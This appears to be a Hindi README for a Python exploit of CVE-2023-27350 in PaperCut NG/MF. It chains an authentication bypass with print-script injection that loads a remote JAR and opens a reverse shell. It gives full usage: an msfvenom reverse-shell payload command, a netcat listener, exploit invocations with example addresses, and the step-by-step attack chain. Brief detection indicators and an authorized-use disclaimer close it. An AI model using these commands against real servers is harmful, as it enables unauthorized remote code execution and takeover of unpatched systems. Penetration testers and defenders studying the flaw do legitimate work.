
यह एक्सप्लॉइट CVE-2023-27350 पर आधारित है और इसे horizon3ai और Metasploit मॉड्यूल के मूल एक्सप्लॉइट के ऊपर बनाया गया है।
PaperCut NG/MF में क्रिटिकल प्रमाणीकरण बाइपास और रिमोट कोड एक्सीक्यूशन भेद्यता के लिए स्टैंडअलोन Python एक्सप्लॉइट। CVSS 9.8।
CVE-2023-27350, PaperCut NG और MF के 20.1.7, 21.2.11, और 22.0.9 से पहले के संस्करणों को प्रभावित करता है। यह दोष एक अप्रमाणित हमलावर को /app?service=page/SetupCompleted एंडपॉइंट तक पहुँचने की अनुमति देता है — एक सेटअप पेज जो केवल प्रारंभिक इंस्टॉलेशन के दौरान पहुँच योग्य होना चाहिए — और बिना किसी क्रेडेंशियल के एक वैध प्रशासनिक सत्र प्राप्त करता है।
एडमिन एक्सेस के साथ, हमलावर PaperCut के प्रिंट स्क्रिप्टिंग तंत्र को सक्षम कर सकता है और सर्वर के JVM द्वारा निष्पादित मनमाना कोड इंजेक्ट कर सकता है, जिसके परिणामस्वरूप सेवा उपयोगकर्ता के संदर्भ में पूर्ण RCE होता है।
| शाखा | फिक्स किया गया संस्करण |
|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
संस्करण 18.x और उससे पहले के संस्करणों को कोई आधिकारिक पैच नहीं मिला।
यह एक्सप्लॉइट दो सार्वजनिक कार्यान्वयनों के विश्लेषण से विकसित किया गया था:
Runtime.exec() का उपयोग एक सादे स्ट्रिंग के साथ करता हैRuntime.exec(String) शेल मेटाकैरेक्टर (>&, |, 0>&1) को प्रोसेस नहीं करता है, जिससे रिवर्स शेल पेलोड अप्रभावी हो जाते हैं। स्क्रिप्ट प्रिंटर ID (l1001) को हार्डकोड करती है और केवल अंग्रेजी सफलता स्ट्रिंग्स की जाँच करती है, जो गैर-अंग्रेजी इंस्टेंस पर विफल होती हैexploit/multi/http/papercut_ng_rceURLClassLoader के माध्यम से JVM में एक Metasploit JAR लोड करता है, किसी भी शेल निर्भरता से बचता हैnc के साथ स्टैंडअलोन उपयोग के लिए आसानी से अनुकूलित नहीं किया जा सकताPython 3.x
requests
msfvenom (part of Metasploit Framework)
nc (netcat)
pip install requests
1. JAR पेलोड जनरेट करें
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. एक लिसनर शुरू करें
nc -lvnp <SHELL_PORT>
3. एक्सप्लॉइट चलाएँ
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
उदाहरण:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
| पैरामीटर | विवरण | डिफ़ॉल्ट |
|---|---|---|
-u / --url | PaperCut आधार URL | required |
-j / --jar | payload.jar का पथ | required |
-lh / --lhost | आपका IP (लक्ष्य यहाँ वापस कनेक्ट होगा) | required |
-lp / --lport | JAR सर्व करने के लिए HTTP पोर्ट | 9090 |
-rp / --rport | रिवर्स शेल पोर्ट | 4444 |
1. Auth bypass via /app?service=page/SetupCompleted
↓
2. Obtain admin JSESSIONID without credentials
↓
3. Select [Template Printer] (l1001)
↓
4. Inject RhinoJS script into the print script field
↓
5. Script creates a URLClassLoader pointing to our HTTP server
↓
6. PaperCut JVM downloads and executes payload.jar
↓
7. Reverse shell
/app?service=page/SetupCompleted तक पहुँचprint-and-device.script.enabled और print.script.sandboxed सेटिंग्स का संशोधन (संस्करण >= 19)URLClassLoader इंस्टेंटिएशनयह एक्सप्लॉइट केवल शैक्षिक उद्देश्यों और अधिकृत उपयोग (पेनिट्रेशन टेस्टिंग, CTF, प्रयोगशाला वातावरण) के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना सिस्टम के खिलाफ अनधिकृत उपयोग अवैध है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।